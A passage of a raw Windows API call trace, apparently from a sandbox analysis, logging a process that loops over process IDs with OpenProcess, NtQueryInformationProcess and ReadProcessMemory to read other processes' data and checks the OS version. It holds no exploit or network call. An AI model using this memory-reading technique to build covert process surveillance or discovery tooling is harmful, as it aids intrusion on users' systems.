ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.708] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.709] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.709] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.710] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.710] malloc (_Size=0x76) returned 0x20abc282120 [0266.710] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0266.710] free (_Block=0x20abc282120) [0266.711] CloseHandle (hObject=0x16c) returned 1 [0266.800] _ui64tow_s (in: _Value=0x1088, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0266.804] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4232") returned 4 [0266.805] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.805] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.822] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x16c [0266.822] GetLastError () returned 0x0 [0266.823] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.823] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.823] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.824] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.824] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.825] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.827] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.827] malloc (_Size=0x5e) returned 0x20abc280840 [0266.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x45194e, lpBuffer=0x20abc280840, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0266.828] free (_Block=0x20abc280840) [0266.829] CloseHandle (hObject=0x16c) returned 1 [0266.829] _ui64tow_s (in: _Value=0x1094, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4244") returned 0x0 [0266.833] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4244") returned 4 [0266.835] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.835] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1094) returned 0x16c [0266.865] GetLastError () returned 0x0 [0266.866] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.867] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x58b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.867] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.867] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.867] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.869] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.870] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.870] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x58b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.871] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.871] malloc (_Size=0x64) returned 0x20abc280370 [0266.871] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1954, lpBuffer=0x20abc280370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0266.872] free (_Block=0x20abc280370) [0266.873] CloseHandle (hObject=0x16c) returned 1 [0266.873] _ui64tow_s (in: _Value=0x10a4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4260") returned 0x0 [0266.877] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4260") returned 4 [0266.878] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.878] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.913] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10a4) returned 0x16c [0266.913] GetLastError () returned 0x0 [0266.914] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.914] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x393018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.914] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x561d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5618f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.916] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.918] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.918] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x393020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.918] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5612e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.918] malloc (_Size=0x76) returned 0x20abc282120 [0266.918] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x561966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0266.919] free (_Block=0x20abc282120) [0266.920] CloseHandle (hObject=0x16c) returned 1 [0266.920] _ui64tow_s (in: _Value=0x10ac, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4268") returned 0x0 [0266.925] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4268") returned 4 [0266.926] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.926] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.941] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ac) returned 0x16c [0266.941] GetLastError () returned 0x0 [0266.942] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.942] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2cd018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.942] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.942] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.943] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc22fc240, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.944] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.945] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.945] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2cd020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.945] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.945] malloc (_Size=0x46) returned 0x20abc27cb20 [0266.946] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481936, lpBuffer=0x20abc27cb20, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0266.946] free (_Block=0x20abc27cb20) [0266.947] CloseHandle (hObject=0x16c) returned 1 [0266.948] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0266.958] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4280") returned 4 [0266.959] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.959] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.972] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0x16c [0266.972] GetLastError () returned 0x0 [0266.973] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.973] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x348018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.974] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.974] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x421ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.974] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4218f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.975] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.976] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.976] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x348020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.976] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.977] malloc (_Size=0x6c) returned 0x20abc2831b0 [0266.977] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x42195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0266.977] free (_Block=0x20abc2831b0) [0266.978] CloseHandle (hObject=0x16c) returned 1 [0266.978] _ui64tow_s (in: _Value=0x10c8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4296") returned 0x0 [0266.982] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4296") returned 4 [0266.983] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.983] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.067] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c8) returned 0x16c [0267.067] GetLastError () returned 0x0 [0267.067] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.068] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x291cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.068] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2918f8, lpBuffer=0x2dc22fc240, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.069] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.070] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.070] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.070] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.071] malloc (_Size=0x60) returned 0x20abc2801b0 [0267.071] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x291950, lpBuffer=0x20abc2801b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0267.071] free (_Block=0x20abc2801b0) [0267.072] CloseHandle (hObject=0x16c) returned 1 [0267.072] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0267.076] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4316") returned 4 [0267.077] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.077] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.146] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x16c [0267.146] GetLastError () returned 0x0 [0267.147] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.147] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2c5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.147] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.148] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.148] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.149] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.150] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.150] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2c5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.150] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.151] malloc (_Size=0x76) returned 0x20abc282120 [0267.151] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0267.151] free (_Block=0x20abc282120) [0267.152] CloseHandle (hObject=0x16c) returned 1 [0267.153] _ui64tow_s (in: _Value=0x10fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4348") returned 0x0 [0267.157] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4348") returned 4 [0267.158] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.158] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, 